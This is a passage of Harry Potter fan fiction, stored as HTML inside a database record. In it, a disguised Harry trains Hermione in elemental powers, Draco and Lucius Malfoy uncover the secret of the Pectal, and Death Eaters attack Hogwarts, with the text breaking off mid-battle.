difficult when she found out that she was a Soul-Searcher, which\nmeant that she could read memories.&nbsp; And\nhe had to let something slip through, cause if she found out that he could\nshield his feelings and memories from her she would guess it. Curse it! Why\ncouldn&#8217;t the Pectal be someone less intelligent and more ignorant than\nHermione?</p>\n\n<p class="MsoNormal">Harry\nsighed and put the quill down. He could sense another incoming attack, at a\nsmall town in North-East Wales. He&#8217;d put down small &#8216;keyholes&#8217;, as he called\nthem, all over England, and these allowed him to know where and when they\nattacked. There had only been a few attacks this autumn, Voldemort was\nobviously planning something, and when they attacked, they usually did it at\nnight. That was fortunate, because it would be difficult if they attacked in\nfull daylight; He couldn&#8217;t just disappear in the middle of the day, &#8216;cause\neveryone would notice.</p>\n\n<p class="MsoNormal">He quickly\nconjured up his Christian clone, and apparated. Next thing, he stood under the\neaves of a forest, clad in scarlet robes with a golden mask covering his face.</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">Harry\nsilently cursed his own thoughtlessness in several different languages. The\nattack had been an ambush to get him, and why he hadn&#8217;t thought of that\npossibility was one of the unsolved mysteries on earth. If it had done any\ngood, he would have started banging his head against the wall. But that would\njust give him an awful headache. It had been dark when he&#8217;d arrived, and the\nDeath Eaters were, as usual, hunting and torturing people. They had started to\nportkey unconscious prisoners away to God-knows-where. He&#8217;d done his best to\nwipe them out, and used his Air Element to control the weather and call\nlightning from the sky as he&#8217;d done before. It was more difficult now, cause he\ndidn&#8217;t have the advantage of surprise as he&#8217;d had the first few times. The last\nfew times they expected him to be there, something which caused trouble for\nhim. He usually left as soon as the Aurors started to apparate in and got thing\nunder control.</p>\n\n<p class="MsoNormal">But just as\nthe Aurors started to show up, more Death Eaters came. They&#8217;d just waited for\nhim to grow tired with taking out the first ones. They&#8217;d come up behind him and\nhe&#8217;d got a Cruciatus in the back, and a cutting curse had cut a large gash in\nhis side. Eventually he&#8217;d got rid of enough of them, so it was safe to leave\nthem to the Aurors, but he&#8217;d been utterly drained, and couldn&#8217;t apparate past\nthe Hogwarts wards. He&#8217;d had to apparate as close up to them as possible, and\nfrom there it was a ten-minute ride on a broomstick. With the after-effects of\na Cruciatus and a bleeding cut, that was pure torture. He didn&#8217;t even have the\nenergy to make an invisibility charm, so he had to pray that no one saw him\nenter. How he wished he had his father&#8217;s invisibility cloak. But that had been\ntaken from him before he was sent to Azkaban, together with his other\nbelongings.</p>\n\n<p class="MsoNormal">Silent as a\nshadow, or at least as silent as a bleeding shadow, he sneaked up to his rooms.\nSuddenly he felt a presence in his mind, and froze. Someone was nearby. He\nreached out and tried to read the person\'s mind, to find out who it was, but he\nor she was too far away. But the person had seen him, and when he stopped and\ntensed he or she obviously thought he&#8217;d heard him or her, because he heard\nsomeone walk quickly in the opposite direction, against the Slytherin dungeons.\n<i style="mso-bidi-font-style:normal">Damn!</i> But he probably wasn&#8217;t\nrecognised, it was too dark, and he&#8217;d been careful to disguise himself, or at\nleast he&#8217;d tried to. In his state he couldn&#8217;t know if it worked or not. He\ncouldn&#8217;t investigate either; the blood-stopping spell on his wound was wearing\noff. Thank God next day was Sunday, so he had a day to heal and recover. </p>\n\n<p class="MsoNormal">Still\ncursing himself he started to treat his wound. He had been blind, deaf and half\nunconscious not to foresee such a thing. He could use his Seer ability as an\nexcuse; he&#8217;d relied on it too much and believed it would warn him, but he knew\nit was wrong, as it rarely told him anything useful. He knew all too well that\nhe couldn&#8217;t trust it to warn him every time he was in trouble. He had just been\nextremely stupid and thickheaded. <i style="mso-bidi-font-style:normal">Illegally</i>\nstupid and thickheaded.</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">A week\nbefore the Christmas break Professor Atos held Hermione back after the lesson.</p>\n\n<p class="MsoNormal">&#8220;Miss\nGranger, are you going to stay for the holidays?&#8221; he asked.</p>\n\n<p class="MsoNormal">&#8220;Yes, why?&#8221;\nshe replied. He scratched his head and Hermione found herself studying his\nface. She found him very attractive, and she liked his easygoing personality.\nHowever, she didn&#8217;t consider the possibility of liking him &#8216;that&#8217; way, as she\nhad those feelings for Harry only, and she knew she couldn&#8217;t fall for anyone but\nhim, as he was the Citatio. Or, she <i>thought</i> she couldn&#8217;t. McGonagall\nkept reporting &#8216;nothing new&#8217; all the time. Hermione still knew nothing about\nthe prophecy or Dumbledore believing that Harry was the Golden Mask. Hermione\ndidn&#8217;t read the Daily Prophet any longer, cause the only decent writer the\nDaily Prophet had ever had was Marice Newman, and she had fled to Asia a month\nago, so now Rita Skeeter wrote most of it, and everything was rubbish. A few\nmonths in a bottle hadn&#8217;t helped, it seemed. If she&#8217;d read it she&#8217;d probably\nhave connected Harry and the Golden Mask immediately. </p>\n\n<p class="MsoNormal">Hermione\nsnapped out of her thoughts at her professor&#8217;s voice. &#8220;So we can use the\nholidays to train. You don&#8217;t have any problems with your cover story, do you?&#8221;</p>\n\n<p class="MsoNormal">&#8220;No,\neveryone believes it. No one suspects anything either,&#8221; she answered.</p>\n\n<p class="MsoNormal">&#8220;Good, and\nlet it stay that way. No one must know that you are a Pectal.&#8221; He sighed. &#8220;That\nwas all. Dismissed.&#8221; Hermione looked wonderingly at him. The last few weeks\nhe&#8217;d seemed tired and worn out, and not his cheery and friendly self. <i style="mso-bidi-font-style:normal">Probably stress. I bet he&#8217;s looking forward\nto the holidays too.</i> Hermione left the classroom and headed for her next\nlesson. Neither the Professor nor Hermione noticed a certain blond-haired\nSlytherin in the shadows.</p>\n\n<p class="MsoNormal">====================</p>\n\n<p class="MsoNormal"><b>Disclaimer:\n</b>Duh&#8230;</p>\n\n<p class="MsoNormal">Ha! The\nplot thickens! *Rachel is sooo proud of herself*</p>\n\n<p class="MsoNormal">Thanks to\neveryone who reviewed, go you. Thanks to the-dreamer, my beta, and thanks to\nmyself for coming up with this absolutely brilliant plot-line&#8230; haha. </p>\n\n<p class="MsoNormal">Just\nkidding.</p>\n\n<p class="MsoNormal">Review!</p>\n\n\n\n\n\n\n'),
	(234, 6, ' <p><b>Chapter Six: Attack</b>\n\n</p>\n\n<p>Lucius Malfoy wondered why his son so suddenly had decided to come home for the holidays. Draco himself said being at Hogwarts was a perfect opportunity to spy on Dumbledore and his little order. &#8216;Little&#8217; referred to the number only. The amount of havoc they had managed to cause until now sent Voldemort into fits of anger. He didn&#8217;t rage around like a maniac; patience was something his Lord had a big amount of, but his cold, controlled anger was scary. And for the one who didn&#8217;t please Voldemort when he had one of his <i>controlled </i>temper tantrums&#8230;Well, Lucius had pity on the guy, and that said something. However, the Golden Mask was what irritated Voldemort right now. The man was very powerful, though not yet so powerful as Voldemort himself, but powerful enough to give him a lot worries. Lucius suspected that Voldemort knew more about him than he told his Inner circle.</p>\n\n<p>But right now he was waiting for his son, Draco. He&#8217;d sent an owl telling him that he would come home for the holidays, and that he had something to tell him, something which was difficult to tell per owl, and Lucius wondered what it could be.</p>\n\n<p>The fire turned green and warned about Draco coming. And yes, in the next second he stepped out of the fireplace.</p>\n\n<p>&#8220;Good evening father,&#8221; he said, his face wearing the usual sneer.</p>\n\n<p>&#8220;Good evening Draco,&#8221; Lucius greeted. &#8220;I hope you have something very important to tell me, and that it goes fast. I have an urgent meeting to attend to.&#8221; The &#8216;urgent meeting&#8217; was urgent because if he didn&#8217;t get there on time he would regret it. The Dark Lord didn&#8217;t like late-comers. </p>\n\n<p>Draco looked thoughtful a moment, and hesitated. &#8220;I don&#8217;t know how important it is, but Professor Atos, the new Defence Against the Dark Arts teacher seemed to think it was important that it was keep secret.&#8221; He paused. &#8220;Father, what is a Pectal?&#8221; he asked. </p>\n\n<p>Lucius dropped his wand and grabbed his son by the collar. &#8220;Where have you heard that boy?&#8221; he asked, his eyes blazing. </p>\n\n<p>His son looked at him coolly. &#8220;I&#8217;ll tell you if you let me go,&#8221; he said. Lucius took a deep breath, got control of himself and let go of his son. Draco brushed himself. &#8220;It was Professor Atos who mentioned it. I overheard a conversation between him and that mudblood Granger,&#8221; he said with as much disgust as he could manage in the words &#8216;mudblood&#8217; and &#8216;Granger&#8217;. &#8220;He said that &#8216;no one must know that you are a Pectal&#8217;. And then he said something about training.&#8221; Draco looked curiously at his father, who sat down in a chair and turned even paler than he used to be. </p>\n\n<p>&#8220;Did he say something else?&#8221; he asked after a while. </p>\n\n<p>Draco thought about it. &#8220;Something about a cover-story. I believe it is about Granger&#8217;s extra lessons in healing. She claims that she wants to become a nurse, and takes extra lessons with Madam Pomfrey every Saturday.&#8221; </p>\n\n<p>Lucius nodded. &#8220;Tell me more about this&#8230; Professor Atos,&#8221; he said softly.</p>\n\n<p>&#8220;Well, he&#8217;s a good teacher, knows his stuff. He says he graduated from Beauxbatons at fifteen, after one year as a student. His parents had tutored him at home until then. Other than that, I don&#8217;t know.&#8221; Draco answered.</p>\n\n<p>Lucius nodded again. &#8220;Have you seen anything suspicious? Other things I mean?&#8221;</p>\n\n<p>&#8220;No,&#8221; Draco said, but then he remembered. &#8220;I mean yes. A month ago someone sneaked in at Hogwarts in the middle of the night. A male I think. I couldn&#8217;t see who it was, but he was hurt. He walked unsteadily and clutched his side. But I think he noticed me, so I had to retreat.&#8221; </p>\n\n<p>Lucius listened intensively. &#8220;When was this you say?&#8221; Voldemort had long suspected that the Golden Mask had a connection to the Order of Phoenix. </p>\n\n<p>Draco racked his brain. &#8220;Err&#8230; The 15th of November I think,&#8221; he said, hesitantly. Lucius sighed. Damn, it wasn&#8217;t him then. &#8220;No, wait,&#8221; Draco corrected himself, &#8220;It was the day we had to deliver an History essay. The 16th.&#8221; </p>\n\n<p>Lucius&#8217;s eyes widened. It fit! This was some news! &#8220;Where was he heading?&#8221; he asked eagerly.</p>\n\n<p>&#8220;Towards the teachers quarters.&#8221; Draco answered.</p>\n\n<p>&#8220;Good boy Draco. This is worthy news. I&#8217;m proud of you.&#8221; Lucius said and stood. He was late for the meeting with Voldemort, but he&#8217;d probably be excused when Voldemort heard the news. A Pectal at Hogwarts. And probably the Golden Mask too. One of the teachers. Lucius would bet his entire fortune that this new Professor was their man. He smiled deviously.</p>\n\n<p>~*~</p>\n\n<p>Harry was very pleased with Hermione. In just four months she&#8217;d reached a level it had taken him years to reach. Okay, he hadn&#8217;t known what had happened to him, and had had to use the &#8216;try and fail&#8217; method. Of course, when he came to Hogwarts he&#8217;d found out about Citatios, and at last he realised that he was one. And since then he&#8217;d trained himself as good as he could manage. It had taken a lot of time, but it seemed like some kind of instinct told him what to do and how to do it, so slowly but surely he progressed. Hermione didn&#8217;t seem to have this instinct, so she often made mistakes, and he had to use his Telepathic abilities and act as her &#8216;instinct&#8217;. Tough, Hermione could have progressed a lot faster if she&#8217;d had the Citatio who could tell her everything he knew and show her different methods and such, so she could just imitate him. Anyway, her progress was impressive to Harry, who had only himself to compare with.</p>\n\n<p>Harry knew he had to tell her the truth about &#8216;Christian&#8217; sooner or later, but he wouldn&#8217;t do it yet. And besides, if he became her Citatio trainer, she might become more powerful than he was, and he didn&#8217;t trust her that much.</p>\n\n<p>However, it was important to find out what Talents she had. A small vision had told him that she probably would discover her Beast-speaker ability soon, which would be useful for them both. They had discovered that she had Telekinesis, which was the most common Talent, Empathy, the ability to Manipulate Earth, a small portion of Voice, and also that she had no Talent for Persuasion. Soul-Searching was one of the more difficult and uncommon Talents, so hopefully it wouldn&#8217;t come to her soon, though she had it. The only problem was that it was difficult for him to teach her the Talents <i>he</i> didn&#8217;t have himself, like Earth Manipulation. He himself had Fire and Air, plus he could control Water to a very small degree, but he would have great problems with teaching her Earth, even though he used his Telepathic Talent to &#8216;tell&#8217; her how to do it.</p>\n\n<p>They almost seemed to be opposites. Where he had Language, which is the ability to be able to understand, speak and write all kind of languages, she had Beast-speech, which is the ability to speak with beasts. (He had parseltounge though, but that had nothing to do with Talent, and he&#8217;d got it from Voldemort.) </p>\n\n<p>Where he had Fire and Air, she had Earth, and he also suspected that she had Water, as he did, though his control over Water was small. They both had Telekinesis, Telepathy and Voice, though her gift with Voice was small. She had Healing, he had Shapeshifting, and where he had Mind-reading, she had Soul-searching. It was really frustrating.</p>\n\n<p>Now however, he was trying to show Hermione that she wasn&#8217;t an Air Manipulator. He already knew that, something he had discovered in his first year at Hogwarts, but he couldn&#8217;t just tell her, because Christian wasn&#8217;t supposed to know what she did in her first year. However, it was very easy to prove. They were at the Quidditch pitch, and he&#8217;d told Hermione to mount a broom and fly two times around the pitch at top speed. She managed the first round, though she flew at an really unimpressive speed. She sped up a bit on her second round, but when she should have stopped the broom and dismounted, she fell. He was there and caught her quickly. She blushed at her own clumsiness, but Christian just smiled sweetly.</p>\n\n<p>&#8220;It&#8217;s settled then. You are <i>not</i> an Air Manipulator.&#8221;</p>\n\n<p>~*~</p>\n\n<p>&#8220;Hmmm&#8230;&#8221; </p>\n\n<p>Lucius shuddered. Voldemort always spoke with a kind of &#8216;hiss&#8217;, as if he had been together with snakes for too long. Which he probably had. Lucius also knew that his well-being rested on how important his news was; he had been ten minutes late for the meeting, and if it wasn&#8217;t important enough for the Dark Lord, Lucius would be punished. </p>\n\n<p>Finally, after what seemed like an eternity, the Dark Lord spoke up. &#8220;Lucius.&#8221;</p>\n\n<p>&#8220;Yes, my Lord.&#8221;</p>\n\n<p>&#8220;Do you know why I tried to kill that Potter boy?&#8221; he asked. </p>\n\n<p>&#8220;No my Lord.&#8221; Lucius answred. </p>\n\n<p>Voldemort &#8216;Hmmmed&#8217; again. &#8220;Far back in time, when Hogwarts was founded,&#8221; the Dark Lord started, &#8220;a man called Slandrin Slytherin cast a curse on Rowena Ravenclaw and her decendants, which also means Godric Gryffindor&#8217;s decendants, so no Citatio or Pectal could be born from that line, as it was predicted should happen.&#8221; </p>\n\n<p>Lucius wondered silently what this had with him to do, but knew better than to voice his thoughts. </p>\n\n<p>&#8220;Slandrin was one of Hogwarts founders, together with Salazar, Gryffindor, Hufflepuff and Ravenclaw, but everything he was, and everything he did was removed from history books, and his house, Quidelfas, named after his mother&#8217;s last name, was removed from Hogwarts. He&#8217;s your ancestor.&#8221; </p>\n\n<p>Lucius&#8217;s eyes widened, but he managed to stay silent. The Dark Lord continued.</p>\n\n<p>&#8220;The prediction made by Ravenclaw says that one of Power should come of the Eagle and Lion, which pointed at Ravenclaw and Gryffindor, while the other should come of the Snake, which points at my ancestor, Salazar.&#8221; Voldemort made a hissing sound, which might have been laughter. &#8220;One of Power means a Citatio or a Pectal, and for a while I thought I was the predicted Citatio, and that the Pectal would be born of Gryffindor and Ravenclaw&#8217;s blood. So I waited, and knew nothing of&nbsp; the curse Slandrin had put on Ravenclaw, so <i>no</i> Pectal or Citatio could be born. And when I finally found it, I searched for more information, and found that Salazar Slytherin doesn\'t deserve the reputation he has. He tried to <i>remove</i> the curse his brother had cast, and he was the one, with help from Gryffindor, who chased Slandrin out of Hogwarts. </p>\n\n<p>However, he didn&#8217;t manage to lift the curse, only lighten it, so that when Slandrin and Ravenclaw&#8217;s blood were united in a child, the one of Power would be born.&#8221; Voldemort paused a second. &#8220;This happened when James Potter and Lily Evans married. Yes indeed, Lily Evans is of Malfoy blood,&nbsp; which also means Slandrin&#8217;s blood, through a squib who was disowned and put in care of a muggle couple. So I, who still thought I was the Citatio, awaited a girl, a Pectal, who I could train, and she could stand by my side, as a powerful mistress. </p>\n\n<p>But they had a boy, and then I knew that I wasn&#8217;t the Citatio. So, I had to kill the boy. But his mother\'s love protected him, and I was defeated, and left powerless, by a mere baby.&#8221; Voldemort paused while watching Lucius, who quickly snapped back into his expressionless mask. </p>\n\n<p>&#8220;My Lord?&#8221; he asked, &#8220;I have a question.&#8221;</p>\n\n<p>&#8220;Ask.&#8221;</p>\n\n<p>Lucius braced himself. &#8220;Do you know where Potter is now?&#8221; </p>\n\n<p>Voldemort smirked.</p>\n\n<p>&#8220;Ahh, yes. Your news. This Pectal, the mudblood descendant of Slytherin, must be taken care of. But that wasn&#8217;t what you asked about. You suspect that this Golden Mask, this annoying, powerful wizard who shows up everywhere, indeed is Christian Atos, the DADA Professor at Hogwarts. Let&#8217;s hope you are right, Lucius, because I suspect that this &#8216;Golden Mask&#8217;, indeed is Harry Potter, and this time, neither he nor the mudblood will be able to stop me, &#8216;Children of Power&#8217; or not.&#8221;</p>\n\n<p>~*~</p>\n\n<blockquote><i>&#8220;Anything to report?&#8221;</i></blockquote>\n\n<blockquote><i>&#8220;No, nothing. I&#8217;m not very high up, and don\'t get to know anything before it happens.&#8221; The first voice was confident and belonged to a male, while the other was shaking nervously, and obviously was from a female.</i></blockquote>\n\n<blockquote><i>&#8220;You have to know something!&#8221; The male said, obviously irritated.</i></blockquote>\n\n<blockquote><i>The female gulped. &#8220;But I don&#8217;t!&#8221; she retorted desperately. &#8220;He&#8217;s furious because of his Azkaban mistake, the Aurors and the Order of Phoenix managed to prevent half of the Dementors from joining him, and he didn&#8217;t get any of the prisoners freed either. He&#8217;d hoped that Potter-&#8220; she was cut of. </i></blockquote>\n\n<blockquote><i>&#8220;Don&#8217;t mention Potter so I can hear it!&#8221; the male growled. </i></blockquote>\n\n<blockquote><i>The female took two steps backwards. &#8220;Sorry.&#8221; </i></blockquote>\n\n<blockquote><i>&#8220;Well then. Tell me what you know.&#8221; </i></blockquote>\n\n<blockquote><i>The female shifted. &#8220;I-I think He&#8217;s planning something. And he got some news from Malfoy. It must have been important, because Malfoy was ten minutes late for the meeting, but wasn&#8217;t punished for it. That&#8217;s what I heard, at least.&#8221; </i></blockquote>\n\n<blockquote><i>The male was silent for a while. Then he spoke. &#8220;Okay, I believe you. But come with something valuable soon, or I&#8217;ll turn you in, and nothing you can say can save you. That&#8217;s clear?&#8221; his voice was a mere hiss. </i></blockquote>\n\n<blockquote><i>The female shivered. &#8220;T-That&#8217;s clear.&#8221;</i></blockquote>\n\n<blockquote><i>The male turned and went out the door. The female sank to the floor, crying. &#8220;Why,&#8221; she muttered to herself, &#8220;did I tell him? I should have known he wouldn&#8217;t help me out of it. But he seemed so noble, so kind. But he&#8217;s not, he&#8217;s just a bloody bastard.&#8221; She dried her tears away. &#8220;Then why girl, why do you still love him?&#8221;</i><i></i></blockquote>\n\n<p>&#8220;Professor?&#8221; <i>What? </i>&#8220;Professor?&#8221; <i>Oh.</i></p>\n\n<p>&#8220;Erm&#8230; Excuse me, Miss Granger, I was deep in thought. Did you say something?&#8221; Harry sighed inwardly. These visions was horribly annoying, and dangerous when they came when other people was present. He&#8217;d seen different variations of that one, and it was always a male and a female, but he couldn&#8217;t figure who they were. He never got any clear picture of them. Professor Dumbledore and Professor McGonagall looked curiously at him, as did Hermione.</p>\n\n<p>&#8220;Professor, you said we should test if I could Manipulate Water today. How are we going to do that?&#8221; she asked.</p>\n\n<p>&#8220;That&#8217;s very simple, Miss Granger,&#8221; he answered. &#8220;We drop you in the lake and makes sure you sink to the bottom.&#8221; </p>\n\n<p>Hermione raised an amused eyebrow at him. &#8220;Veeery funny,&#8221; she said. </p>\n\n<p>Christian raised an eyebrow too. &#8220;Not at all, Miss Granger, If you cannot Manipulate Water, you will drown. If you can Manipulate Water, you will not drown, because you can breathe water as easily as air. Neither will you feel the cold, even though the water is freezing.&#8221; Hermione&#8217;s jaw dropped, as did McGonagall&#8217;s. Dumbledore had to keep himself from chuckling. </p>\n\n<p>&#8220;Are you serious, sir?&#8221; Hermione asked faintly.</p>\n\n<p>&#8220;Of course.&#8221; Christian couldn&#8217;t keep it back any longer, and a wide grin spread over his face. &#8220;No worries, Miss, We will be there, just in case you shouldn&#8217;t be able to control Water. Shall we go?&#8221;</p>\n\n<p>~*~</p>\n\n<p>Hermione gulped. In front of her she had a four metres wide hole in the ice, and she could see the dark water in the lake. It was freezing cold water, and Hermione shuddered. Professor Atos had charmed her so she would sink straight to the bottom of the lake, and was now busy with performing a bubble-charm and a heating charm on himself, so he could follow her down. He would hold on to her and sink together with her. On the way down she would have the bubble-charm and the warming charm too, so she could breathe, but once they were down there, the Professor would remove the charms, and she had to go on from there. If it turned out that she couldn&#8217;t Manipulate Water, the Professor would send up a beam of light, and Dumbledore and McGonagall would then come to help, if he couldn&#8217;t handle it himself. Despite all this, Hermione didn&#8217;t like the idea at all. </p>\n\n<p>Professor Atos broke into her thoughts.</p>\n\n<p>&#8220;Miss Granger, are you ready?&#8221; he asked. Hermione glared at him; as if she would ever be ready for such a thing! But she nodded nonetheless. Professor Atos grabbed her arm, and they both jumped into the freezing water.</p>\n\n<p>It was a shock. Hermione felt the cold water envelope her body. She felt the pressure from all sides, and she couldn&#8217;t see a thing. Everywhere it was dark, dark water. The circle of light above her became smaller and smaller, until she couldn&#8217;t see it. After what seemed like an eternity, her back hit something solid. They had reached the bottom, and without noticing, Hermione and Christian had been turned almost upside down on their journey downwards. Hermione quickly grasped her Earth Element. With it she could navigate, and soon she knew where north, east, south and west were, and what was up, and what was down. She reached out and seconds later she had a clear picture of what it looked like around her. They were at the bottom at some kind of &#8216;underwater valley&#8217;.</p>\n\n<p>Suddenly, a light behind her. She could see a few metres around her, and when she turned she could see that Professor Atos had lit his wand. He pointed his wand at her, and she could see his lips moving, though she couldn&#8217;t hear him. Suddenly, the bubble that held her air supply disappeared.</p>\n\n<p>Hermione gasped for air, but all she got was water. Her vision went blurry because of the water that filled her eyes, and she couldn&#8217;t see a thing! Hermione panicked. It wasn&#8217;t possible to breathe water! She was going to drown! She tried to swim, her instinct told her to swim. She needed air! Up, up, up! Air, air, air! She would never make it!</p>\n\n<p>Then, suddenly, when she felt that her lungs were going to collapse from lack of air&#8230;she blinked. She could see. She could see the bottom of the lake stretching out around her, big sea-plants and such growing here and there, and various water-animals swimming and crawling around. Her brain started working again, and she could feel her lungs breathe again. But how could she breathe water? It was impossible for her lungs to do such a thing. She had swallowed a lot of water, and now it was seeping out of her body. It seemed like the water she &#8216;breathed&#8217; was freed for its oxygen and then sent out through her very skin. It was a weird feeling.</p>\n\n<p>Then she noticed she could sense the various underwater streams and &#8216;see&#8217; how the water moved. She also noticed that the water wasn&#8217;t cold any longer, but quite&#8230; comfortable. She looked around and spotted Professor Atos. He smiled at her, though his face seemed weirdly twisted when she saw it through the bubble. He gave her thumbs up, and then pointed upwards. Hermione nodded. Something, like a small voice in the back of her head told her how to do this. She reached out with her Element, and Manipulated the water to push them upwards, against the hole in the ice. Five minutes later they banged their heads in solid ice. Professor Atos&#8217;s bubble charm was broken, but a new one immediately formed itself around his head. He looked at Hermione. Again, she reached out with the Element, and she could, through the ice, sense where the hole was, and she dragged the Professor in that direction. Thirty seconds later, she could breathe fresh air.</p>\n\n<p>~*~</p>\n\n<p>Christmas was over, and the students returned, ready for a new term, with assignments, tests and what was worse. Christian had used the break to think up new ways to torment his students, and he gave each class a difficult test on their first day back. As it turned out, every question had been a fake, with no possible answer, but not all the students realised this, and came up with the most weird explanations on how a dragon can shoot water in the same way as they shoot fire. It was most hilarious for Christian, who had to grade them.</p>\n\n<p>Students however, weren\'t Christian&#8217;s greatest problem. He had visions of an attack, where people were hurt and killed, but he didn&#8217;t know where it was, and as the date of the attack drew nearer, the visions came more often. He often had to use a potion he had invented to prevent himself from getting visions during lessons or staff meetings. The potion was very similar to the mind potion he was given in his fifth year, to ensure he would end up by the dead body of Colin. </p>\n\n<p>Right now, Christian was desperately hoping that this current staff meeting would end soon. He felt the tickling sensation in his mind that always came with strong visions. Despite the potion he had taken, there was no way to prevent himself from going into the slightly dazed state this time, and if he didn&#8217;t get out of here soon, it was possible that the other teachers would notice. The reason why the meeting took longer than usual, was that Snape hadn&#8217;t shown up yet. All the other teachers were members of the Order of Phoenix and knew that he was a spy, but Christian had to pretend that he didn&#8217;t know, since he wasn&#8217;t supposed to know. So, not to wake his &#8216;suspicion&#8217;, they explained it with a &#8216;he slept in&#8217;. Yeah, right. 12 o&#8217; clock, Saturday morning? Christian felt the tickling grow stronger, and he couldn&#8217;t resist the vision anymore. Swearing inwardly, he relaxed and slipped into the darkness, praying that no one would notice. Dumbledore did, however, and wondered why Christian so suddenly seemed to almost fall asleep.</p>\n\n<blockquote><i>Darkness. Darkness all around him. Then&#8230; A voice. </i></blockquote>\n\n<blockquote><i>&#8220;The girl. Kill her or take her. It is time to show that we are the strongest. I want the girl, she&#8217;s too dangerous. She must die&#8221; Murmurs. Christian could feel the presence of many beings, some humans and some not humans.</i></blockquote>\n\n<blockquote><i>Suddenly his vision changed, and he looked up at a great castle. A banner stood proudly in the wind. A serpent, a lion, an eagle, a badger, an H. </i></blockquote>\n\n<blockquote><i>Hogwarts.</i></blockquote>\n\n<p>Christian snapped out of his trance, eyes wide with fear. They was going to attack Hogwarts! And they knew about Hermione! He jumped out of his chair before he had the time to think. He regretted the movement instantly, for two reasons. Firstly, the others mustn&#8217;t know that he was a Seer and a Citatio, and secondly, because of the wound he had in his side. He didn&#8217;t have any Healing Talent, so he had to use normal healing charms and potions to heal himself, and it hadn&#8217;t worked properly, so now he had a nasty, half-healed, two-months old wound, with an infection. And that hurt.</p>\n\n<p>Fortunately, no one noticed his actions. Snape had returned during his little mind-trip, and he had news. Bad news apparently. All the teachers were standing, and frightened chatter filled the room, before Dumbledore silenced them. The twinkle was replaced by cold fury. The chatter died down, and Dumbledore turned back to Snape.</p>\n\n<p>&#8220;Did he say why?&#8221;</p>\n\n<p>&#8220;No. We just got a message, with orders to turn up, and when I got &#8216;there&#8217;, I was told about the attack, and sent back to Hogwarts. I&#8217;m supposed to wait here and fall on your back when they attack. I came as fast as I could to warn you, he&#8217;s going to attack very soon,&#8221; Snape answered.</p>\n\n<p>Christian had managed to return to his oblivious, clueless and confused state.</p>\n\n<p>&#8220;This could mean that he doesn&#8217;t trust you, Severus,&#8221; Dumbledore said. &#8220;How are they planning to get in?&#8221;</p>\n\n<p>&#8220;Draco Malfoy,&#8221; was the grim answer. The other teachers looked at him in horror, not wanting to believe that a student could do such a thing. Snape looked at them irritably. &#8220;He&#8217;s not the only one, though the only one I know of. He was picked because he was willing to blow his cover. Lucius didn&#8217;t want to, but he didn&#8217;t have any choice, and it is possible that he&#8217;s going to be able to get away. You know: &#8216;I didn&#8217;t know! He&#8217;s not my son anymore!&#8217; Etc, etc.&#8221; Harry was frantically searching for a way to tell Dumbledore that Voldemort knew about the Pectal. But how could he do that without revealing the fact that he was a Seer? Next second Dumbledore tensed. Then he spoke.</p>\n\n<p>&#8220;They&#8217;re through the shields, and approaching the school. It is indeed Mr. Malfoy who has invited them,&#8221; he said grimly, regretting that he&#8217;d never done something with those shields. No student could &#8216;invite&#8217; anyone to the castle without the permission of a Professor, but it was possible to get past that. And an intelligent student like Draco Malfoy <i>could </i>manage it. All the teachers exclaimed in fright, and several ran towards the door. Dumbledore stopped them. &#8220;We have ten minutes, get the students assembled in the Great Hall, and-&#8220; he was interrupted by Snape.</p>\n\n<p>&#8220;Wait, I don&#8217;t know if this is important, but there have been rumours about a Pectal. I highly doubt the validity of these rumours, but I thoug-&#8220; he stopped as Christian, who until then had stayed calm, thinking furiously, took his chance. </p>\n\n<p>&#8220;Miss Granger!&#8221; he exclaimed, letting his fright touch his words, and then, before McGonagall and Dumbledore could react, he bolted through the door, towards the Gryffindor tower.</p>\n\n<p>~*~</p>\n\n<p>Christian turned around the last corner and stood in front of the portrait of the fat lady. He didn&#8217;t bother with any password, he simply used his Persuasion Talent and told her to let him in. Many of the Gryffindors were assembled in the common room, as it was Saturday and not Hogsmeade weekend. The Gryffindor students stared at him as he stood there, slightly breathless. He gathered himself, and forced himself <i>not</i> to clutch his hurt side, and speak with a steady voice.</p>\n\n<p>&#8220;I need to speak with Miss Granger. It is urgent.&#8221; He couldn&#8217;t see her in the common room. &#8220;Is she in her dorm?&#8221; he asked, but Lavender shook her head. &#8220;Does anybody know where she is?&#8221; More shaking of heads. </p>\n\n<p>&#8220;ALL STUDENTS ASSEMBLE IN THE GREAT HALL IMMEDIATELY!&#8221; McGonagall&#8217;s enchanted voice rang through the castle. Christian gritted his teeth. Where was she? He mentally smacked his forehead. The <i>library!</i> She had to be there. McGonagall&#8217;s message rang throughout the castle again, and Christian turned on his heel as the now frightened Gryffindors started to run towards the portrait and the Great Hall. He disappeared into the shadows and apparated to the library. It had been too risky to apparate up to the Gryffindor common room, but on Saturday only Hermione could think of going to the library. It would be almost deserted. As soon as he got there, he reached out with his Air Element and searched for her &#8216;scent&#8217;. It wasn&#8217;t there. </p>\n\n<p>He cursed silently before he headed towards the Great Hall, ignoring the increasing pain in the gash, searching in the Air for her. Where was she? Had one of the Death Eater students tricked her outside and killed her? No, he wouldn&#8217;t even think of it. Damn! Why hadn&#8217;t he thought of this? If Hermione died it would be his fault! He was careful not to run when he reached the Great Hall, not to scare the students more than they already were. Almost all the teachers were there, Dumbledore too, but no Hermione. Christian quickly walked over to Dumbledore.</p>\n\n<p>&#8220;I cannot find her!&#8221; he whispered desperately in his ear. In the same moment Snape came over and reported that four of his students, a fifth year, a sixth year and two seventh years, not counting Malfoy, were missing. Professor Sprout missed a sixth year and a fourth year, Flitwick a fifth and a sixth year, and McGonagall missed Hermione, plus her Quidditch team, who had practice, something the teachers had completely forgotten in the rush. Dumbledore had given orders to stay in the Great Hall until the rest of the Order of Phoenix plus the Aurors came, but they couldn&#8217;t wait. Through the magical binding he had with the wards, he could sense that they came closer. Harry suspected that the missing students from the other houses were Death Eaters, at least some of them, maybe even some of the Gryffindors were. While Dumbledore ordered McGonagall, himself, Flitwick and Vector to follow him, he secretly reached out with Air again, to the Quidditch pitch. He barely restrained himself from groaning in terror. The Quidditch pitch were <i>swarming</i> with fighting students, and he could scent sweat, fear, anger and confusion. They ran all the way to the pitch, and Christian was sure his wound had re-opened when he judged by the pain. But it wasn&#8217;t the right time to think about that now.</p>\n\n<p>Their eyes widened in horror at the sight that met them at the Quidditch pitch. The Gryffindor Quidditch team, plus Hermione, who apparently had decided to watch their practice, were defending themselves from the &#8216;missing&#8217; students. Two of the team-members were lying 